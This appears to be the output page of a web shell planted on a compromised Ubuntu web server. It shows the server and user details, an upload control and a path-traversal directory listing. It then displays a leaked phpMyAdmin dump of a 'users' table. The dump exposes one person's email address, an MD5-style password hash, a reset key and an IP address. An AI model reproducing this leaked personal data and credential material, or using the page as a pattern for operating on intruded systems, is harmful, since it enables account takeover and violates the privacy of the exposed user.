(　′∀`)σ≡σ☆))Д′)ﾚ(ﾟ∀ﾟ;)ﾍ=З=З=Зε≡(ノ´＿ゝ｀）ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
$ pwd: /var/www/html/tmpr/../tmpr/../tmpr/../tmpr/../tmpr/../connect/
Upload Files
File: /var/www/html/tmpr/..//tmpr/../tmpr/../tmpr/../tmpr/../connect/user table.sql
-- phpMyAdmin SQL Dump
-- version 5.1.3
-- https://www.phpmyadmin.net/
--
-- Host: localhost
-- Generation Time: Nov 12, 2025 at 01:01 PM
-- Server version: 8.0.43-0ubuntu0.24.04.1
-- PHP Version: 8.3.6

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";

--
-- Database: `thebrand`
--

-- --------------------------------------------------------

--
-- Table structure for table `users`
--

CREATE TABLE `users` (
  `id` int NOT NULL,
  `catalogid` bigint DEFAULT NULL,
  `user_name` varchar(255) DEFAULT NULL,
  `slug` varchar(255) DEFAULT NULL,
  `user_email` varchar(255) DEFAULT 'name@domain.com',
  `approved` tinyint(1) DEFAULT '0',
  `salt` varchar(255) DEFAULT NULL,
  `pwd` varchar(255) DEFAULT NULL,
  `admin` varchar(20) DEFAULT 'member',
  `balance` bigint DEFAULT '0',
  `number_of_sales` int DEFAULT '0',
  `login_type` varchar(20) DEFAULT 'registered',
  `facebook_id` varchar(255) DEFAULT NULL,
  `google_id` varchar(255) DEFAULT NULL,
  `vkontakte_id` varchar(255) DEFAULT NULL,
  `picture` varchar(255) DEFAULT NULL,
  `cover_image` varchar(255) DEFAULT NULL,
  `cover_image_type` varchar(30) DEFAULT 'full_width',
  `banned` tinyint(1) DEFAULT '0',
  `catalogname` varchar(100) DEFAULT NULL,
  `last_name` varchar(100) DEFAULT NULL,
  `shop_name` varchar(255) DEFAULT NULL,
  `description` varchar(5000) DEFAULT NULL,
  `tel` varchar(50) DEFAULT NULL,
  `country_id` int DEFAULT NULL,
  `state_id` int DEFAULT NULL,
  `city_id` int DEFAULT NULL,
  `address` varchar(255) DEFAULT NULL,
  `zip_code` varchar(50) DEFAULT NULL,
  `show_email` tinyint(1) DEFAULT '0',
  `show_phone` tinyint(1) DEFAULT '0',
  `show_location` tinyint(1) DEFAULT '0',
  `website` varchar(255) DEFAULT NULL,
  `fb` varchar(255) DEFAULT NULL,
  `tw` varchar(255) DEFAULT NULL,
  `f4` varchar(255) DEFAULT NULL,
  `f5` varchar(255) DEFAULT NULL,
  `li` varchar(255) DEFAULT NULL,
  `vk_url` varchar(255) DEFAULT NULL,
  `youtube_url` varchar(255) DEFAULT NULL,
  `whatsapp_url` varchar(255) DEFAULT NULL,
  `telegram_url` varchar(255) DEFAULT NULL,
  `show_rss_feeds` tinyint(1) DEFAULT '0',
  `send_email_new_message` tinyint(1) DEFAULT '0',
  `is_active_shop_request` tinyint(1) DEFAULT '0',
  `is_membership_plan_expired` tinyint(1) DEFAULT '0',
  `is_used_free_plan` tinyint(1) DEFAULT '0',
  `created` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
  `first_name` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `linkedin_url` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `pinterest_url` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `instagram_url` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `twitter_url` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `facebook_url` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `send_email_when_item_sold` tinyint(1) DEFAULT '1',
  `shipping_zip_code` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `shipping_city` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `shipping_state` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `shipping_country_id` varchar(20) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `shipping_address_2` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `shipping_address_1` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `shipping_phone_number` varchar(100) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `shipping_email` varchar(100) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `shipping_last_name` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `shipping_first_name` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `rating` float DEFAULT '2',
  `ratenum` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `viewnum` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `date` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `fax` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `about` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `bgcolor` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `onboarded` int DEFAULT '0',
  `notifications` int DEFAULT '1',
  `timezone` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `permission` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `settings` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `reset_key` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `favorites_count` int DEFAULT '0',
  `friend_count` int DEFAULT '1',
  `category` int DEFAULT '1',
  `themeid` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT 'nairobi',
  `birthday` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `package` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `plan` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT 'Monthly',
  `bank_tokens` int DEFAULT NULL,
  `tokens` int DEFAULT NULL,
  `ip_whitelist` text CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci,
  `whitelist` enum('0','1') CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci DEFAULT '0',
  `last_ip` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci DEFAULT NULL,
  `account_lock` enum('0','1') CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci DEFAULT '0',
  `changed` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `expiration_date` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `expiry_datetime` datetime DEFAULT NULL,
  `level_expiry` enum('0','1') CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci DEFAULT '0',
  `gender` enum('Male','Female') CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci DEFAULT NULL,
  `oauth_token` varchar(100) CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci DEFAULT NULL,
  `oauth_token_secret` varchar(100) CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci DEFAULT NULL,
  `county` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `eventdate` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `episodeid` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `oauth_provider` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `username` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT 'registered',
  `oauth_uid` varchar(255) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `country` varchar(200) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT '',
  `users_ip` varchar(200) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT '',
  `history_ip` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `activation_code` int DEFAULT '0',
  `activation_key` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `password` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `full_name` tinytext CHARACTER SET latin1 COLLATE latin1_general_ci,
  `md5_id` varchar(200) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT '',
  `parentid` bigint DEFAULT NULL,
  `email` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `status1` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `status` int DEFAULT NULL,
  `fullname` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `ids` text CHARACTER SET ascii COLLATE ascii_general_ci,
  `last_login` timestamp NULL DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3;

--
-- Dumping data for table `users`
--

INSERT INTO `users` (`id`, `catalogid`, `user_name`, `slug`, `user_email`, `approved`, `salt`, `pwd`, `admin`, `balance`, `number_of_sales`, `login_type`, `facebook_id`, `google_id`, `vkontakte_id`, `picture`, `cover_image`, `cover_image_type`, `banned`, `catalogname`, `last_name`, `shop_name`, `description`, `tel`, `country_id`, `state_id`, `city_id`, `address`, `zip_code`, `show_email`, `show_phone`, `show_location`, `website`, `fb`, `tw`, `f4`, `f5`, `li`, `vk_url`, `youtube_url`, `whatsapp_url`, `telegram_url`, `show_rss_feeds`, `send_email_new_message`, `is_active_shop_request`, `is_membership_plan_expired`, `is_used_free_plan`, `created`, `first_name`, `linkedin_url`, `pinterest_url`, `instagram_url`, `twitter_url`, `facebook_url`, `send_email_when_item_sold`, `shipping_zip_code`, `shipping_city`, `shipping_state`, `shipping_country_id`, `shipping_address_2`, `shipping_address_1`, `shipping_phone_number`, `shipping_email`, `shipping_last_name`, `shipping_first_name`, `rating`, `ratenum`, `viewnum`, `date`, `fax`, `about`, `bgcolor`, `onboarded`, `notifications`, `timezone`, `permission`, `settings`, `reset_key`, `favorites_count`, `friend_count`, `category`, `themeid`, `birthday`, `package`, `plan`, `bank_tokens`, `tokens`, `ip_whitelist`, `whitelist`, `last_ip`, `account_lock`, `changed`, `expiration_date`, `expiry_datetime`, `level_expiry`, `gender`, `oauth_token`, `oauth_token_secret`, `county`, `eventdate`, `episodeid`, `oauth_provider`, `username`, `oauth_uid`, `country`, `users_ip`, `history_ip`, `activation_code`, `activation_key`, `password`, `full_name`, `md5_id`, `parentid`, `email`, `status1`, `status`, `fullname`, `ids`, `last_login`) VALUES
(4510, 4510, '', '', 'mxovamaokox@gmail.com', 1, NULL, 'bafeaebec25b2365f345f8e6165efc6b', 'member', 0, 0, 'mobile', NULL, NULL, NULL, NULL, NULL, 'full_width', 0, 'xoliswa', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, 0, 0, 0, '2023-06-26 14:38:28', NULL, NULL, NULL, NULL, NULL, NULL, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 2, NULL, NULL, '2023-06-26 14:38:28', NULL, NULL, NULL, 1, 1, 'Africa/Nairobi', '', NULL, '18694672131505132436', 0, 1, 1, 'nairobi', NULL, '1', 'Monthly', NULL, NULL, NULL, '0', NULL, '0', '2023-06-26 14:38:28', '2023-07-26', '2023-07-26 14:38:28', '1', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'registered', NULL, '', '172.31.40.107', NULL, 0, NULL, 'bafeaebec25b2365f345f8e6165efc6b', NULL, '', NULL, 'mxovamaokox@gmail.com', '1', NULL, 'xoliswa', '18694672131505132436', NULL);

--
-- Indexes for dumped tables
--

--
-- Indexes for table `users`
--
ALTER TABLE `users`
  ADD PRIMARY KEY (`id`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `users`
--
ALTER TABLE `users`
  MODIFY `id` int NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=14231;
COMMIT;
@ Telegram